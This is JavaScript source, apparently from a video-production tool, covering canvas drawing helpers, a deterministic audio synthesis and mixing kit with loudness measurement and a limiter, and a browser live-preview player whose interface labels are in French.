  for (const [a, blur, dy] of [[.3, .04, .03], [.12, .2, .1]]) {   // shadow only: the glyphs are drawn far off-canvas, their shadow lands under the text
    ctx.save(); ctx.shadowColor = `rgba(${DROP},${Math.min(1, a * k).toFixed(3)})`; ctx.shadowBlur = blur * sz; ctx.shadowOffsetX = off; ctx.shadowOffsetY = dy * sz;
    ctx.translate(-off, 0); ctx.fillText(s, x, y); ctx.restore();
  }
  ctx.fillStyle = '#fff'; ctx.fillText(s, x, y - sz * .022);
  ctx.fillStyle = face; ctx.fillText(s, x, y);
  ctx.restore(); ctx.fillStyle = face;
}
// '#rrggbb' mixed toward black by k (0..1)
export function darken(hex, k) {
  const n = parseInt(String(hex).replace('#', '').slice(0, 6), 16); if (Number.isNaN(n)) return hex;
  const f = v => Math.round(v * (1 - k)).toString(16).padStart(2, '0');
  return '#' + f(n >> 16 & 255) + f(n >> 8 & 255) + f(n & 255);
}
// Inter cap height is ~.727em: baseline that visually centers caps on y.
export const midBase = (y, size) => y + size * .36;
export function wrap(ctx, s, maxW, size, weight = 500, ls = 0, fam = F.sans) {
  const out = []; let line = '';
  for (const w of s.split(' ')) { const t = line ? line + ' ' + w : w; if (line && measure(ctx, t, size, weight, ls, fam) > maxW) { out.push(line); line = w; } else line = t; }
  if (line) out.push(line); return out;
}

// ---------- small components ----------
export function checkIcon(ctx, cx, cy, s, color, p = 1, lw) {
  if (p <= 0) return; ctx.save(); ctx.strokeStyle = color; ctx.lineWidth = lw || s * .16; ctx.lineCap = 'round'; ctx.lineJoin = 'round';
  const pts = [[-.42, .02], [-.12, .32], [.44, -.3]].map(([a, b]) => [cx + a * s, cy + b * s]);
  const l1 = Math.hypot(pts[1][0] - pts[0][0], pts[1][1] - pts[0][1]), l2 = Math.hypot(pts[2][0] - pts[1][0], pts[2][1] - pts[1][1]), L = (l1 + l2) * p;
  ctx.beginPath(); ctx.moveTo(...pts[0]);
  if (L <= l1) ctx.lineTo(lerp(pts[0][0], pts[1][0], L / l1), lerp(pts[0][1], pts[1][1], L / l1));
  else { ctx.lineTo(...pts[1]); ctx.lineTo(lerp(pts[1][0], pts[2][0], (L - l1) / l2), lerp(pts[1][1], pts[2][1], (L - l1) / l2)); }
  ctx.stroke(); ctx.restore();
}

// Paper label. (x, y) is the center unless o.align = 'left' | 'right'. Returns the width.
export function chip(ctx, x, y, label, o = {}) {
  const size = o.size || 34, h = o.h || Math.round(size * 1.9), padX = o.padX ?? Math.round(size * .72), wt = o.weight || 700, ls = o.ls ?? -.3;
  const lead = o.dot ? size * .78 : o.check ? size * .95 : 0;
  const w = measure(ctx, label, size, wt, ls) + padX * 2 + lead;
  const a = o.alpha ?? 1; if (a <= .002) return w;
  const X = o.align === 'left' ? x : o.align === 'right' ? x - w : x - w / 2, Y = y - h / 2;
  ctx.save(); ctx.globalAlpha *= a;
  if (o.scale && o.scale !== 1) { ctx.translate(X + w / 2, y); ctx.scale(o.scale, o.scale); ctx.translate(-(X + w / 2), -y); }
  sheet(ctx, X, Y, w, h, h / 2, { fill: o.fill, elev: o.elev ?? .45, border: o.border ?? !o.fill });
  if (o.dot) { ctx.beginPath(); ctx.arc(X + padX + size * .2, y, size * .2, 0, Math.PI * 2); ctx.fillStyle = o.dot; ctx.fill(); }
  if (o.check) checkIcon(ctx, X + padX + size * .32, y, size * .62, o.color || C.ink, o.checkP ?? 1);
  text(ctx, label, X + padX + lead, midBase(y, size), { size, weight: wt, ls, color: o.color || C.ink });
  ctx.restore(); return w;
}

// macOS-style pointer, tip at (x, y).
const ARROW = typeof Path2D !== 'undefined' ? new Path2D('M0 0 L0 21.5 L5.3 16.6 L8.9 24.8 L12.4 23.3 L8.9 15.3 L15.9 15.3 Z') : null;
export function cursor(ctx, x, y, o = {}) {
  const a = o.alpha ?? 1; if (a <= .002) return;
  const s = (o.scale || 2.1) * (1 - .14 * (o.press || 0));
  ctx.save(); ctx.globalAlpha *= a; ctx.translate(x, y); ctx.scale(s, s);
  shadow(ctx, -1, 1, 17, 25, 6, 3, .18, 1.5);
  ctx.lineJoin = 'round'; ctx.strokeStyle = '#fff'; ctx.lineWidth = 2.6; ctx.stroke(ARROW);
  ctx.fillStyle = '#111'; ctx.fill(ARROW); ctx.restore();
}

// Rounded image draw with cover crop.
export function cover(ctx, img, x, y, w, h, r = 0, focus = [.5, .5], zoom = 1) {
  if (!img) { ctx.fillStyle = '#ddd'; ctx.beginPath(); ctx.roundRect(x, y, w, h, r); ctx.fill(); return; }
  const iw = img.width, ih = img.height, s = Math.max(w / iw, h / ih) * zoom, cw = w / s, ch = h / s;
  const sx = clamp(iw * focus[0] - cw / 2, 0, iw - cw), sy = clamp(ih * focus[1] - ch / 2, 0, ih - ch);
  ctx.save(); ctx.imageSmoothingEnabled = true; ctx.imageSmoothingQuality = 'high'; if (r) { ctx.beginPath(); ctx.roundRect(x, y, w, h, r); ctx.clip(); }
  ctx.drawImage(img, sx, sy, cw, ch, x, y, w, h); ctx.restore();
}

// Offline synth kit for shorts: a quiet music bed + paper-soft UI sound design. Deterministic (seeded).
// studio(dur) returns buses (MUS sidechained to the voice, SFX dry-ish, REV send) and instruments that write into them.
// Everything is intentionally soft: no risers, no booms, no glitches. Think Apple keynote, not trailer.
export const SR = 48000, TAU = Math.PI * 2;
export const clamp = (x, a = 0, b = 1) => x < a ? a : x > b ? b : x;
export const hz = m => 440 * Math.pow(2, (m - 69) / 12);

export class SVF { // TPT state variable filter, stable under per-sample cutoff sweeps
  constructor() { this.a = 0; this.b = 0; this.lp = this.bp = this.hp = 0; }
  run(x, fc, q = .707) {
    const g = Math.tan(Math.PI * clamp(fc, 10, SR * .45) / SR), k = 1 / q, a1 = 1 / (1 + g * (g + k)), a2 = g * a1, a3 = g * a2;
    const v3 = x - this.b, v1 = a1 * this.a + a2 * v3, v2 = this.b + a2 * this.a + a3 * v3;
    this.a = 2 * v1 - this.a; this.b = 2 * v2 - this.b; this.lp = v2; this.bp = v1; this.hp = x - k * v1 - v2; return v2;
  }
}
const blep = (t, dt) => t < dt ? (t /= dt, t + t - t * t - 1) : t > 1 - dt ? (t = (t - 1) / dt, t * t + t + t + 1) : 0;

export function studio(dur, seed0 = 7) {
  const N = Math.ceil(dur * SR), at = t => Math.round(t * SR);
  let seed = seed0;
  const rand = () => { seed = seed + 0x6D2B79F5 | 0; let t = Math.imul(seed ^ seed >>> 15, 1 | seed); t = t + Math.imul(t ^ t >>> 7, 61 | t) ^ t; return ((t ^ t >>> 14) >>> 0) / 4294967296; };
  const rnd = () => rand() * 2 - 1;
  class Osc {
    constructor(ph = rand()) { this.p = ph; }
    step(f) { const dt = f / SR; this.p += dt; if (this.p >= 1) this.p -= 1; return dt; }
    sin(f) { this.step(f); return Math.sin(TAU * this.p); }
    tri(f) { this.step(f); return 1 - 4 * Math.abs(this.p - .5); }
    saw(f) { const dt = this.step(f); return 2 * this.p - 1 - blep(this.p, dt); }
  }
  const bus = () => [new Float32Array(N), new Float32Array(N)];
  const MUS = bus(), DRM = bus(), SFX = bus(), NZ = bus(), REV = bus();   // NZ: noise strokes (swish/scratch/marker), kept out of the SFX level measurement
  function put(B, i, v, p = 0, rv = 0) {
    if (i < 0 || i >= N) return; p = clamp(p, -1, 1);
    const l = v * Math.sqrt(1 - p), r = v * Math.sqrt(1 + p);
    B[0][i] += l; B[1][i] += r;
    if (rv) { REV[0][i] += l * rv; REV[1][i] += r * rv; }
  }

  // ---------------- music (MUS/DRM buses, both ducked under the voice)
  function kick(t, g = 1) { // round, short, felt-like
    const o = new Osc(0), i0 = at(t);
    for (let i = 0; i < SR * .35; i++) { const s = i / SR, f = 48 + 90 * Math.exp(-s * 38); put(DRM, i0 + i, Math.tanh(o.sin(f) * 1.6) * Math.exp(-s * 9) * Math.min(1, s / .002) * g * .55); }
  }
  function rim(t, g = 1) { // soft rimshot/snap, very dry
    const f = new SVF(), i0 = at(t);
    for (let i = 0; i < SR * .12; i++) { const s = i / SR; f.run(rnd(), 1800, 1.6); put(DRM, i0 + i, f.bp * Math.exp(-s * 45) * g * .35, .1, .12); }
  }
  function clap(t, g = 1) { // music.drive backbeat: three tight noise flams + a short tail, on the drum bus
    const f = new SVF(), i0 = at(t);
    for (let i = 0; i < SR * .16; i++) { const s = i / SR, fl = s < .022 ? Math.exp(-((s % .0075) * 420)) : Math.exp(-(s - .022) * 32); f.run(rnd(), 1300, 1.3); put(DRM, i0 + i, f.bp * fl * g * .42, -.05, .18); }
  }
  function hat(t, g = 1, p = .15) {
    const f = new SVF(), i0 = at(t);
    for (let i = 0; i < SR * .05; i++) { const s = i / SR; f.run(rnd(), 9000, .8); put(DRM, i0 + i, f.hp * Math.exp(-s * 80) * g * .16, p); }
  }
  function pad(t0, t1, notes, g = 1, att = .6, rel = .9) { // warm detuned triangles through a slow low-pass
    const os = notes.flatMap(m => [-.06, .06].map(d => [new Osc(), hz(m + d)])), fl = [new SVF(), new SVF()], i0 = at(t0), n = at(t1) - i0, nr = at(rel);
    for (let i = 0; i < n + nr; i++) {
      const s = i / SR, e = Math.min(1, s / att) * (i < n ? 1 : Math.pow(1 - (i - n) / nr, 2));
      let l = 0, r = 0; os.forEach(([o, f], k) => { const v = o.tri(f) * .6 + o.saw(f) * .08; if (k & 1) r += v; else l += v; });
      fl[0].run(l, 1400); fl[1].run(r, 1400);
      const j = i0 + i; if (j >= N) break; MUS[0][j] += fl[0].lp * e * g * .045; MUS[1][j] += fl[1].lp * e * g * .045;
      REV[0][j] += fl[0].lp * e * g * .012; REV[1][j] += fl[1].lp * e * g * .012;
    }
  }
  function bass(t, f, len, g = 1) {
    const o = new Osc(0), fl = new SVF(), i0 = at(t);
    for (let i = 0; i < SR * (len + .04); i++) { const s = i / SR, e = Math.min(1, s / .004) * (s < len ? 1 : Math.max(0, 1 - (s - len) / .04)); fl.run(o.saw(f) * .5 + Math.sin(TAU * f * s) * .8, 180 + 700 * Math.exp(-s * 18), .9); put(MUS, i0 + i, fl.lp * e * g * .32); }
  }
  function mallet(t, f, g = .1, p = 0, B = MUS) { // marimba-ish: sine + 4x partial, fast decay
    const i0 = at(t);
    for (let i = 0; i < SR * .7; i++) { const s = i / SR; put(B, i0 + i, (Math.sin(TAU * f * s) * Math.exp(-s * 7) + Math.sin(TAU * f * 4 * s) * Math.exp(-s * 40) * .25) * Math.min(1, s / .001) * g, p, .25); }
  }
  function bell(t, f, g = .06, p = 0, dec = 1.2, B = SFX) { // 2-op FM glass bell
    let pc = 0, pm = 0; const i0 = at(t);
    for (let i = 0; i < SR * dec * 2.5; i++) { const s = i / SR; pc = (pc + f / SR) % 1; pm = (pm + f * 3.5 / SR) % 1; put(B, i0 + i, Math.sin(TAU * pc + 1.8 * Math.exp(-s * 6) * Math.sin(TAU * pm)) * Math.exp(-s / dec * 2.3) * Math.min(1, s / .001) * g, p, .35); }
  }

  // ---------------- paper UI sound design (SFX bus)
  function swish(t0, len, g = .3, { p0 = 0, p1 = 0, f0 = 700, f1 = 2600, pk = .45 } = {}) { // paper sliding over paper
    const a = new SVF(), b = new SVF(), i0 = at(t0), n = at(len);
    for (let i = 0; i < n; i++) {
      const u = i / n, e = u < pk ? Math.pow(u / pk, 1.8) : Math.pow(1 - (u - pk) / (1 - pk), 1.5), fc = f0 * Math.pow(f1 / f0, u < pk ? u / pk : 1 - (u - pk) / (1 - pk) * .5), x = rnd();
      a.run(x, fc, .8); b.run(x, fc * 2.4, 1.2);
      put(NZ, i0 + i, (a.bp * .9 + b.bp * .35) * e * (1 + .25 * rnd()) * g, p0 + (p1 - p0) * u, .12);
    }
  }
  function slide(t, g = .25, p = 0) { swish(t - .12, .38, g, { p0: p - .2, p1: p + .2 }); } // card lands: peaks just before t
  function tap(t, g = .3, p = 0) { // trackpad click: tight transient + tiny body
    const f = new SVF(), i0 = at(t); let ph = 0;
    for (let i = 0; i < SR * .03; i++) { const s = i / SR; f.run(rnd(), 3600, 1.8); ph += 1300 / SR; put(SFX, i0 + i, (f.bp * Math.exp(-s * 420) * 1.3 + Math.sin(TAU * ph) * Math.exp(-s * 240) * .45) * g, p, .04); }
  }
  function key(t, g = .1, p = 0) { // soft laptop key
    const f = new SVF(), i0 = at(t), fc = 2600 + rand() * 1600, th = 240 + rand() * 50; let ph = 0;
    for (let i = 0; i < SR * .045; i++) { const s = i / SR; f.run(rnd(), fc, 1.5); ph += th / SR; put(SFX, i0 + i, (f.bp * Math.exp(-s * 170) + Math.sin(TAU * ph) * Math.exp(-s * 80) * .3) * g, p, .03); }
  }
  function tick(t, f = 2400, g = .05, p = 0) {
    let ph = 0; const i0 = at(t);
    for (let i = 0; i < SR * .03; i++) { const s = i / SR; ph += f / SR; put(SFX, i0 + i, Math.sin(TAU * ph) * Math.exp(-s * 190) * Math.min(1, s / .0005) * g, p, .05); }
  }
  function pop(t, f = 520, g = .12, p = 0) { // soft wooden blip for chips landing
    let ph = 0; const i0 = at(t);
    for (let i = 0; i < SR * .12; i++) { const s = i / SR; ph += f * (.7 + .4 * (1 - Math.exp(-s * 50))) / SR; put(SFX, i0 + i, Math.sin(TAU * ph) * Math.exp(-s * 38) * Math.min(1, s / .0015) * g, p, .1); }
  }
  function scratch(t0, len, g = .2, p = 0) { // pencil / marker stroke: grainy band-passed noise
    const a = new SVF(), i0 = at(t0), n = at(len); let gr = 0;
    for (let i = 0; i < n; i++) {
      const u = i / n; if (i % 90 === 0) gr = .55 + .45 * rand();
      a.run(rnd(), 2600 + 1400 * u, 1.4);
      put(NZ, i0 + i, a.bp * gr * Math.min(1, u / .08, (1 - u) / .15) * g, p - .2 + .4 * u, .06);
    }
  }
  function marker(t0, len = .28, g = .1, p = 0) { // highlighter felt on paper: soft, dark, short (not a scratch)
    const a = new SVF(), b = new SVF(), i0 = at(t0), n = at(len); let gr = .8;
    for (let i = 0; i < n; i++) {
      const u = i / n; if (i % 240 === 0) gr = .8 + .2 * rand();
      a.run(rnd(), 1300 + 500 * u, .9); b.run(a.bp, 2400, .7);
      put(NZ, i0 + i, b.lp * gr * Math.min(1, u / .18) * Math.pow(Math.min(1, (1 - u) / .35), 1.5) * g, p - .15 + .3 * u, .05);
    }
  }
  function tom(t, g = .5, f0 = 110, p = 0) { // hand drum (tam-tam): pitched skin + a slap of noise, on the SFX bus
    const o = new Osc(0), f = new SVF(), i0 = at(t);
    for (let i = 0; i < SR * .45; i++) { const s = i / SR; f.run(rnd(), 1200, 1.2); put(SFX, i0 + i, (Math.tanh(o.sin(f0 * (1 + .6 * Math.exp(-s * 30))) * 1.4) * Math.exp(-s * 7) + f.bp * Math.exp(-s * 60) * .6) * Math.min(1, s / .002) * g, p, .15); }
  }
  function thud(t, g = .3) { // paper settling on a desk: low soft knock
    const o = new Osc(0), f = new SVF(), i0 = at(t);
    for (let i = 0; i < SR * .2; i++) { const s = i / SR; f.run(rnd(), 400, .8); put(SFX, i0 + i, (Math.sin(TAU * (70 + 60 * Math.exp(-s * 40)) * s) * .8 + f.lp * .5) * Math.exp(-s * 24) * Math.min(1, s / .002) * g, 0, .08); }
  }
  function shutter(t, g = .3, p = 0) { // camera shutter: two mechanical clacks (open, close) with a little body
    for (const [dt, fc, k] of [[0, 4200, 1], [.072, 2700, .75]]) {
      const a = new SVF(), b = new SVF(), i0 = at(t + dt);
      for (let i = 0; i < SR * .05; i++) { const s = i / SR, x = rnd(); a.run(x, fc, 1.6); b.run(x, 900, 1); put(SFX, i0 + i, (a.bp * Math.exp(-s * 260) * 1.3 + b.bp * Math.exp(-s * 120) * .5) * Math.min(1, s / .0003) * g * k, p, .06); }
    }
  }
  function air(t0, len, g = .12) { swish(t0, len, g, { f0: 300, f1: 1400, pk: .5 }); } // layout / seam move
  function snap(t, g = .5, p = 0) { // finger snap: bright band-passed crack + a short skin body
    const a = new SVF(), b = new SVF(), i0 = at(t);
    for (let i = 0; i < SR * .09; i++) { const s = i / SR, x = rnd(); a.run(x, 2900, 2.2); b.run(x, 1100, 1.4); put(SFX, i0 + i, (a.bp * Math.exp(-s * 140) * 1.4 + b.bp * Math.exp(-s * 60) * .5) * Math.min(1, s / .0003) * g, p, .18); }
  }
  function chirp(t, f0 = 3200, f1 = 4600, len = .09, g = .03, p = 0) { // small bird: sine sweep with a flutter
    let ph = 0; const i0 = at(t), n = at(len);
    for (let i = 0; i < n; i++) { const u = i / n, f = f0 + (f1 - f0) * Math.sin(u * Math.PI * .5) + 180 * Math.sin(TAU * 38 * i / SR); ph += f / SR; put(SFX, i0 + i, Math.sin(TAU * ph) * Math.sin(Math.PI * u) * g, p, .3); }
  }
  function stop(t, len = .5, g = .2) { // tape stop: a soft chord whose pitch and speed sink to nothing
    const os = [48, 55, 64].map(m => [new Osc(0), hz(m)]), fl = new SVF(), i0 = at(t), n = at(len);
    for (let i = 0; i < n; i++) { const u = i / n, k = Math.pow(1 - u, 1.6); let v = 0; os.forEach(([o, f]) => v += o.saw(f * k + 1) * .3); fl.run(v, 300 + 2400 * k, .8); put(SFX, i0 + i, fl.lp * Math.min(1, u / .02) * (1 - u) * g, 0, .1); }
  }
  function start(t, len = .35, g = .16) { // tape start: the same chord winding back up to speed
    const os = [48, 55, 64].map(m => [new Osc(0), hz(m)]), fl = new SVF(), i0 = at(t), n = at(len);
    for (let i = 0; i < n; i++) { const u = i / n, k = Math.pow(u, .7); let v = 0; os.forEach(([o, f]) => v += o.saw(f * k + 1) * .3); fl.run(v, 300 + 2400 * k, .8); put(SFX, i0 + i, fl.lp * Math.min(1, u / .05, (1 - u) / .15) * g, 0, .1); }
  }

  // ---------------- modern accents (spec.sfx.accents): a few soft glassy hits. On the NZ bus, so they sit on top of
  // the measured hit level instead of lowering every other hit.
  function blip(t, f = 1200, g = .05, p = 0) { // glassy UI blip: sine gliding up a fourth + a faint octave
    let a = 0, b = 0; const i0 = at(t);
    for (let i = 0; i < SR * .16; i++) {
      const s = i / SR, fr = f * (.75 + .25 * (1 - Math.exp(-s * 90))); a += fr / SR; b += fr * 2.01 / SR;
      put(NZ, i0 + i, (Math.sin(TAU * a) + Math.sin(TAU * b) * .22 * Math.exp(-s * 40)) * Math.exp(-s * 26) * Math.min(1, s / .002) * g, p, .3);
    }
  }
  function zip(t0, len = .22, g = .05, p = 0) { // quick drawn line: a short rising band sweep
    const f = new SVF(), i0 = at(t0), n = at(len);
    for (let i = 0; i < n; i++) { const u = i / n; f.run(rnd(), 1400 + 4200 * u, 2.2); put(NZ, i0 + i, f.bp * Math.min(1, u / .2) * Math.pow(1 - u, 1.2) * g, p - .25 + .5 * u, .08); }
  }

  return { N, at, MUS, DRM, SFX, NZ, REV, rand, blip, zip, kick, rim, clap, hat, pad, bass, mallet, bell, swish, slide, tap, key, tick, pop, scratch, marker, thud, tom, air, shutter, snap, chirp, stop, start };
}

// ---------------- mixing helpers
export function freeverb(inL, inR, N, { room = .8, damp = .4, pre = .02 } = {}) {
  const k = SR / 44100, fb = room * .28 + .7, d1 = damp * .4, d2 = 1 - d1;
  const mk = (arr, sp) => arr.map(c => ({ b: new Float32Array(Math.round((c + sp) * k)), i: 0, f: 0 }));
  const ch = [0, 23].map(sp => [mk([1116, 1188, 1277, 1356, 1422, 1491, 1557, 1617], sp), mk([556, 441, 341, 225], sp)]);
  const out = [new Float32Array(N), new Float32Array(N)], P = Math.round(pre * SR), hp = new SVF();
  for (let n = 0; n < N; n++) {
    hp.run(n >= P ? (inL[n - P] + inR[n - P]) * .5 : 0, 300); const x = hp.hp * .03;
    for (let c = 0; c < 2; c++) {
      let y = 0;
      for (const cb of ch[c][0]) { const o = cb.b[cb.i]; cb.f = o * d2 + cb.f * d1; cb.b[cb.i] = x + cb.f * fb; if (++cb.i >= cb.b.length) cb.i = 0; y += o; }
      for (const ap of ch[c][1]) { const bo = ap.b[ap.i], o = bo - y; ap.b[ap.i] = y + bo * .5; if (++ap.i >= ap.b.length) ap.i = 0; y = o; }
      out[c][n] = y;
    }
  }
  return out;
}

// BS.1770 integrated loudness of a stereo pair (K-weighting, 400 ms blocks, 75% overlap, -70 abs / -10 rel gates).
export function lufs(B) {
  const N = B[0].length, zs = [];
  const kw = B.map(x => {
    const y = new Float32Array(N); let a1 = 0, a2 = 0, b1 = 0, b2 = 0, c1 = 0, c2 = 0, d1 = 0, d2 = 0;
    for (let i = 0; i < N; i++) {
      const s = 1.53512485958697 * x[i] - 2.69169618940638 * a1 + 1.19839281085285 * a2 + 1.69065929318241 * b1 - .73248077421585 * b2; a2 = a1; a1 = x[i]; b2 = b1; b1 = s;
      const h = s - 2 * c1 + c2 + 1.99004745483398 * d1 - .99007225036621 * d2; c2 = c1; c1 = s; d2 = d1; d1 = h; y[i] = h;
    }
    return y;
  });
  // a 400 ms block = 4 hops of 100 ms: sum each hop once instead of each sample 4 times
  const bl = Math.round(.4 * SR), hop = Math.round(.1 * SR), hs = [];
  for (let i = 0; i + hop <= N; i += hop) { let z = 0; for (let j = i; j < i + hop; j++) z += kw[0][j] ** 2 + kw[1][j] ** 2; hs.push(z); }
  for (let k = 0; k + 4 <= hs.length; k++) zs.push((hs[k] + hs[k + 1] + hs[k + 2] + hs[k + 3]) / bl);
  const L = z => -.691 + 10 * Math.log10(z + 1e-12), abs = zs.filter(z => L(z) > -70);
  if (!abs.length) return -99;
  const rel = L(abs.reduce((a, b) => a + b, 0) / abs.length) - 10, g = abs.filter(z => L(z) > rel);
  return L(g.reduce((a, b) => a + b, 0) / g.length);
}

// Lookahead brickwall (5 ms), 80 ms release, box-smoothed so it never overshoots the ceiling.
export function limit(B, gain, ceil = Math.pow(10, -1.5 / 20)) {
  const N = B[0].length, la = Math.round(.005 * SR), rel = Math.exp(-1 / (.08 * SR)), req = new Float32Array(N), env = new Float32Array(N), out = [new Float32Array(N), new Float32Array(N)];
  for (let i = 0; i < N; i++) { const pk = Math.max(Math.abs(B[0][i]), Math.abs(B[1][i])) * gain; req[i] = pk > ceil ? ceil / pk : 1; }
  const dq = []; let e = 1, h = 0;
  for (let i = 0; i < N + la; i++) {
    if (i < N) { while (dq.length > h && req[dq[dq.length - 1]] >= req[i]) dq.pop(); dq.push(i); }
    const k = i - la; if (k < 0) continue; while (dq[h] < k) h++;
    const m = req[dq[h]]; e = m < e ? m : m + (e - m) * rel; env[k] = e;
  }
  let acc = la; for (let i = 0; i < N; i++) { acc += env[i] - (i >= la ? env[i - la] : 1); const g = acc / la * gain; out[0][i] = B[0][i] * g; out[1][i] = B[1][i] * g; }
  return out;
}

// Live preview (short.mjs preview): plays the short in a normal tab with the same render(t) as the export.
// Clock = the mix (WebAudio, so seeking is exact); every animation frame draws render(clock) when the last one is done.
// Side panel: SHORT and SOURCE time, the spoken word, and the spec.js entries alive at that instant (source times).
// Keys: space play/pause, left/right 1 s, ,/. one frame, M mute, R reload (re-reads spec.js).

export async function play() {
  const { render, spec, tl, canvas, FPS } = window.LIVE, RAW = window.SPEC, DUR = tl.duration, sp = tl.speed || 1;
  const toSource = t => { for (const [a, b, o] of tl.keeps) if (t < o + (b - a) / sp) return a + Math.max(0, t - o) * sp; return tl.source; };
  const q = new URLSearchParams(location.search);

  document.head.insertAdjacentHTML('beforeend', `<style>
    body { display: flex; gap: 24px; padding: 20px; font: 13px/1.45 -apple-system, system-ui, sans-serif; color: #2b261d; }
    #side { width: 460px; display: flex; flex-direction: column; gap: 12px; }
    #bar { display: flex; gap: 10px; align-items: center; }
    #bar button { font: 600 13px system-ui; padding: 7px 14px; border: 0; border-radius: 8px; background: #2b261d; color: #F1EEE6; cursor: pointer; }
    #bar button.ghost { background: #e2ddd1; color: #2b261d; }
    #seek { width: 100%; accent-color: #2563eb; }
    .clock { font: 600 22px "JetBrains Mono", ui-monospace, monospace; }
    .muted { color: #8a8273; }
    .card { background: #fff; border-radius: 10px; padding: 10px 12px; box-shadow: 0 1px 3px rgba(0,0,0,.08); }
    .card b { font-weight: 650; }
    .tag { display: inline-block; font: 600 11px ui-monospace, monospace; padding: 1px 6px; border-radius: 5px; background: #e8eefc; color: #1d4ed8; margin-right: 6px; }
    pre { margin: 6px 0 0; font: 11px/1.4 ui-monospace, monospace; white-space: pre-wrap; max-height: 150px; overflow: auto; color: #5d5547; }
    #list { display: flex; flex-direction: column; gap: 8px; overflow: auto; max-height: 560px; }
  </style>`);
  document.body.insertAdjacentHTML('beforeend', `<div id="side">
    <div id="bar"><button id="pp">▶ Play</button><button id="mute" class="ghost"></button><span class="muted" id="fps"></span></div>
    <input id="seek" type="range" min="0" max="${DUR}" step="${1 / FPS}" value="0">
    <div><span class="clock" id="tShort"></span> <span class="muted">short</span> &nbsp; <span class="clock muted" id="tSrc"></span> <span class="muted">source (spec.js)</span></div>
    <div class="card"><b>Mot prononcé</b> <span id="word" class="muted"></span><br><b>Seam</b> <span id="seam" class="muted"></span></div>
    <div class="muted">Ce qui est vivant dans spec.js à cet instant (temps source) :</div>
    <div id="list"></div>
    <div class="muted">Espace play/pause · ← → 1 s · , . une image · M son · R recharge spec.js</div>
  </div>`);
  const $ = id => document.getElementById(id);

  // audio clock: the final mix when it exists, else the spliced voice; silent shorts run on performance.now
  const ac = new AudioContext(), gain = ac.createGain(); gain.connect(ac.destination);
  let buf = null;
  for (const u of ['/p/assets/mix.wav', '/p/assets/voice.wav']) {
    const r = await fetch(u); if (!r.ok) continue;
    buf = await ac.decodeAudioData(await r.arrayBuffer()); break;
  }
  let muted = q.has('mute'), playing = false, t = +q.get('t') || 0, t0 = 0, c0 = 0, src = null;
  const now = () => buf ? ac.currentTime : performance.now() / 1000;
  const clock = () => playing ? Math.min(DUR, t0 + now() - c0) : t;
  const setMute = m => { muted = m; gain.gain.value = m ? 0 : 1; $('mute').textContent = m ? '🔇 Son coupé' : '🔊 Son'; };
  const start = () => {
    if (t >= DUR - .05) t = 0;
    t0 = t; c0 = now(); playing = true; $('pp').textContent = '❚❚ Pause';
    if (buf) { ac.resume(); src = ac.createBufferSource(); src.buffer = buf; src.connect(gain); src.start(0, t); }
  };
  const stop = () => { t = clock(); playing = false; $('pp').textContent = '▶ Play'; src?.stop(); src = null; };
  const seek = x => { const was = playing; if (was) stop(); t = Math.max(0, Math.min(DUR, x)); if (was) start(); };
  setMute(muted);

  $('pp').onclick = () => playing ? stop() : start();
  $('mute').onclick = () => setMute(!muted);
  $('seek').oninput = e => seek(+e.target.value);
  addEventListener('keydown', e => {
    const k = e.key;
    if (k === ' ') { e.preventDefault(); playing ? stop() : start(); }
    else if (k === 'ArrowLeft' || k === 'ArrowRight') seek(clock() + (k === 'ArrowLeft' ? -1 : 1));
    else if (k === ',' || k === '.') { if (playing) stop(); seek(Math.round(t * FPS + (k === ',' ? -1 : 1)) / FPS); }
    else if (k === 'm' || k === 'M') setMute(!muted);
    else if (k === 'r' || k === 'R') location.href = location.pathname + location.search.replace(/&t=[\d.]+/, '') + `&t=${clock().toFixed(2)}`;
  });

  // the spec entries alive at t: actors and scenes keep their index after mapSpec, so RAW[i] holds the source times
  const live = (t) => {
    const out = [];
    const add = (kind, list, raw) => (list || []).forEach((s, i) => {
      const a = s.from - (s.pre || 0), b = s.to ?? Infinity;
      if (t >= a && t <= b) out.push({ kind, type: s.type || s.kind || s.media || '', raw: raw?.[i] || s, from: s.from, to: s.to });
    });
    add('scene', spec.scenes, RAW.scenes); add('actor', spec.actors, RAW.actors); add('broll', spec.broll, RAW.broll);
    return out;
  };
  const fmt = x => (x ?? 0).toFixed(2).padStart(6, ' ');
  const brief = o => JSON.stringify(o, (k, v) => typeof v === 'number' ? +v.toFixed(2) : v, 1).replace(/\n\s*/g, ' ').slice(0, 900);
  let lastKey = '';
  const panel = (t) => {
    $('tShort').textContent = fmt(t) + ' s'; $('tSrc').textContent = fmt(toSource(t)) + ' s';
    if (document.activeElement !== $('seek')) $('seek').value = t;
    const w = tl.words.find(w => t >= w.start - .03 && t <= w.end + .12);
    $('word').textContent = w ? `« ${w.text} »  (source ${w.s0.toFixed(2)})` : '';
    const keys = RAW.layout?.keys || [], k = keys.filter(([s]) => s <= toSource(t)).at(-1);
    $('seam').textContent = k ? `y = ${k[1]} depuis ${k[0]} s source (${k[1] === 0 ? 'caméra plein écran' : k[1] >= 1900 ? 'papier plein écran' : 'papier en haut, caméra en bas'})` : 'défaut';
    const L = live(t), key = L.map(x => x.kind + x.from).join('|');
    if (key === lastKey) return; lastKey = key;
    $('list').innerHTML = L.length ? '' : '<div class="muted">rien, juste la caméra et les sous-titres</div>';
    for (const x of L) {
      const el = document.createElement('div'); el.className = 'card';
      el.innerHTML = `<span class="tag">${x.kind}</span><b>${x.type}</b> <span class="muted">${x.raw.from ?? ''} → ${x.raw.to ?? ''} s source · layer ${x.raw.layer || 'stage'}</span><pre></pre>`;
      el.querySelector('pre').textContent = brief(x.raw);
      $('list').appendChild(el);
    }
  };

  // draw loop: one render(t) in flight at a time; a slow frame is skipped, never queued, so the picture stays on the audio
  let busy = false, n = 0, tf = performance.now();
  const loop = () => {
    requestAnimationFrame(loop);
    const tc = clock();
    if (playing && tc >= DUR) stop();
    panel(tc);
    if (busy) return;
    busy = true;
    render(Math.round(tc * FPS) / FPS).finally(() => { busy = false; n++; });
    const dt = performance.now() - tf;
    if (dt > 1000) { $('fps').textContent = `${Math.round(n * 1000 / dt)} images/s dessinées`; n = 0; tf = performance.now(); }
  };
  loop();
}

// Browser runtime for spec.format 'youtube': a 1920x1080 long-form frame, deterministic in t (SHORT time).
// The paper stage is a 1080x1080 square (kit W = H = 1080, the same coordinates as format 'square', so every scene
// and actor works unchanged) on the LEFT; the camera fills the rest of the frame on the RIGHT.
// layout.keys [[t, x]]: x = left edge of the camera. 1080 = split (paper left, camera right), 1920 = paper only (the
// stage glides to the centre, for full-screen sources), 0 = camera only (the paper slides out to the left).
